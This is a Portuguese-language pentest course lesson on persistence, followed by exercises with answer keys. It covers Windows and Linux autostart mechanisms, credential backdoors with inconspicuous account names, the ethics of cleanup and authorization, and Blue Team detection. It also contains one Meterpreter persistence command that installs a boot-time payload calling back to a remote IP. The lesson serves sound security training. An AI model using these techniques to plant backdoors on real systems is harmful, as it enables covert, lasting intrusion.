Você conquistou acesso a uma máquina com esforço — mas esse acesso é frágil. Se o sistema reiniciar, se o processo comprometido fechar, se a sessão cair, você perde tudo e precisa recomeçar. A persistência é o conjunto de técnicas para garantir que seu acesso sobreviva a essas interrupções, permitindo retornar ao sistema quando quiser sem reexplorar. Num ataque real, é o que mantém o invasor dentro por meses (lembra da APT da aula Quem está do outro lado: classificações de atacantes, APTs e motivações — o "P" de Persistent?). Num pentest, é uma capacidade que você demonstra com cuidado e responsabilidade especial. Esta aula cobre as técnicas e a ética particular que as cerca. Laboratório, sempre.
Re-executar em algum gatilho
O conceito é direto: a persistência instala um mecanismo que re-executa seu acesso automaticamente em algum gatilho — na inicialização do sistema, no login de um usuário, em intervalos regulares. Assim, mesmo que sua sessão atual morra, o mecanismo a restabelece. As técnicas exploram os mesmos recursos legítimos de "execução automática" que os sistemas oferecem — e que você já conhece de outros contextos (cron, serviços, registro).
Os mecanismos no Windows
No Windows, os principais mecanismos de persistência: as chaves de registro Run (aula Windows internals: processos, registro e o coração da autenticação — programas nessas chaves executam a cada login/inicialização; colocar seu payload ali garante re-execução); as tarefas agendadas (Scheduled Tasks — o equivalente ao cron, que dispara seu código em horários ou eventos definidos); os serviços (criar ou modificar um serviço que executa seu payload, rodando com privilégios e iniciando com o sistema); e técnicas mais avançadas e furtivas (WMI event subscriptions, DLL hijacking, entre outras, mais próximas do tradecraft do Bloco X). O Metasploit automatiza várias:
# no Meterpreter (exemplos conceituais — laboratório apenas)
run persistence -X -i 30 -p 4444 -r 192.168.1.5 # persistência via inicialização
# ou módulos post/ dedicados a scheduled tasks, registro, serviços
Os mecanismos no Linux
No Linux, os mecanismos espelham a lógica: o crontab (aula Permissões, donos e privilégios: onde a escalação começa — uma entrada de cron que reconecta seu shell periodicamente); os serviços systemd (criar um serviço que reinicia seu payload); os scripts de inicialização e perfis de shell (.bashrc, .profile — que executam quando um usuário abre uma sessão); e chaves SSH autorizadas (adicionar sua chave pública ao authorized_keys de uma conta, permitindo login SSH direto sem senha — uma persistência limpa e eficaz). Note que todas reutilizam recursos administrativos legítimos com propósito de manter acesso — o tema recorrente de "funcionalidade legítima abusada".
O backdoor de credenciais
Uma forma particular de persistência é o backdoor de credenciais: em vez de instalar um mecanismo de re-execução, você simplesmente cria ou mantém uma via de acesso legítima — adiciona um novo usuário (idealmente com nome discreto que se misture aos existentes), adiciona sua chave SSH, ou eleva uma conta existente. É frequentemente mais furtivo que um payload rodando, porque um novo usuário ou uma chave SSH parece menos anômalo que um processo malicioso. A escolha da técnica de persistência é um trade-off entre robustez (sobrevive a quê?), furtividade (quão detectável é?) e privilégio necessário (o que preciso para instalá-la?).
A ética de deixar portas dos fundos
E agora o ponto que exige atenção redobrada, porque a persistência tem uma ética e responsabilidade profissional particulares num pentest. Instalar mecanismos de persistência num sistema de cliente significa deixar portas dos fundos nele — e isso carrega riscos reais que você deve gerenciar com rigor. Primeiro, cada mecanismo de persistência que você instala é uma vulnerabilidade que você criou: se um atacante real descobrir seu backdoor, ele o usa. Segundo, você precisa documentar meticulosamente cada persistência instalada e removê-la completamente ao final do teste — deixar um backdoor esquecido num cliente é uma falha grave, potencialmente um incidente de segurança que você mesmo causou. Terceiro, a persistência frequentemente precisa de autorização explícita nas Regras de Engajamento — nem todo teste a permite, e alguns clientes exigem aprovação para cada mecanismo. A regra profissional: o que você instala, você rastreia e desinstala, sem exceção. A limpeza pós-teste inclui a remoção verificada de toda persistência.
O que a permanência mostra ao cliente
Do ponto de vista do que a persistência demonstra ao cliente, ela tem valor real no relatório: mostra que um atacante não só entraria, mas permaneceria — e permanência é o que caracteriza os ataques mais danosos (ransomware que espera, APTs que espionam por meses). Demonstrar as lacunas que permitiriam persistência não detectada é um achado importante, que justifica investimentos em detecção. O objetivo ético não é "instalar backdoors", é evidenciar que eles seriam possíveis e passariam despercebidos.
Monitorar cada local de persistência
Do lado defensivo, detectar e prevenir persistência é uma disciplina central do Blue Team, e as contramedidas miram cada mecanismo: monitorar os locais de persistência (mudanças em chaves Run, novas tarefas agendadas, novos serviços, alterações em crontab e authorized_keys — ferramentas como o Autoruns da Sysinternals inventariam tudo que auto-executa); baselining (saber o que é normal para detectar o anômalo — um serviço novo que ninguém instalou); monitorar criação de contas e chaves (um usuário novo inesperado é bandeira vermelha); EDR que detecta comportamentos de persistência; e integridade de arquivos (alertar sobre modificações em arquivos de inicialização). A tática Persistence do MITRE ATT&CK cataloga dezenas dessas técnicas justamente para o Blue Team saber onde procurar.
Fontes e leituras recomendadas
- MITRE ATT&CK — tática Persistence (o catálogo definitivo de técnicas)
- Sysinternals Autoruns — ferramenta para inventariar mecanismos de auto-execução (defensivo)
- HackTricks — seções de persistência Windows e Linux
- The Hacker Playbook 3 — capítulos de persistência com foco em red team
Exercícios
-
O que é persistência e qual problema do acesso inicial ela resolve?
✓ Resposta:Persistência é o conjunto de técnicas que garante que o acesso sobreviva a reinicializações, fechamento de processos ou queda de sessão, permitindo retornar ao sistema sem reexplorá-lo. Resolve a fragilidade do acesso inicial, que se perderia nessas interrupções.
-
Cite dois mecanismos de persistência no Windows e dois no Linux, e a lógica comum que todos compartilham.
✓ Resposta:Windows: chaves de registro Run, tarefas agendadas, serviços (também WMI, DLL hijacking). Linux: crontab, serviços systemd, scripts de inicialização/perfis de shell (
.bashrc), chaves SSH autorizadas. A lógica comum é abusar de recursos legítimos de execução automática para re-executar o acesso em algum gatilho (inicialização, login, intervalo). -
O que é um "backdoor de credenciais" e por que ele pode ser mais furtivo que um payload em execução?
✓ Resposta:É criar/manter uma via de acesso legítima — um novo usuário discreto, uma chave SSH adicionada, uma conta elevada — em vez de um mecanismo de re-execução. É mais furtivo porque um usuário ou chave parece menos anômalo do que um processo malicioso rodando, misturando-se ao ambiente normal.
-
Explique as três responsabilidades éticas particulares da persistência num pentest.
✓ Resposta:(1) Cada persistência instalada é uma vulnerabilidade criada, que um atacante real poderia usar; (2) é preciso documentar meticulosamente cada mecanismo e removê-lo completamente ao final, para não deixar backdoors esquecidos; (3) a persistência frequentemente exige autorização explícita nas Regras de Engajamento.
-
Cite três contramedidas defensivas contra persistência e o papel do "baselining" na detecção.
✓ Resposta:Contramedidas: monitorar locais de persistência (chaves Run, tarefas, serviços, crontab, authorized_keys — ex.: Autoruns), baselining, monitorar criação de contas/chaves, EDR, integridade de arquivos. O baselining ajuda ao estabelecer o que é normal no sistema, permitindo detectar o anômalo — como um serviço ou tarefa que ninguém legítimo criou.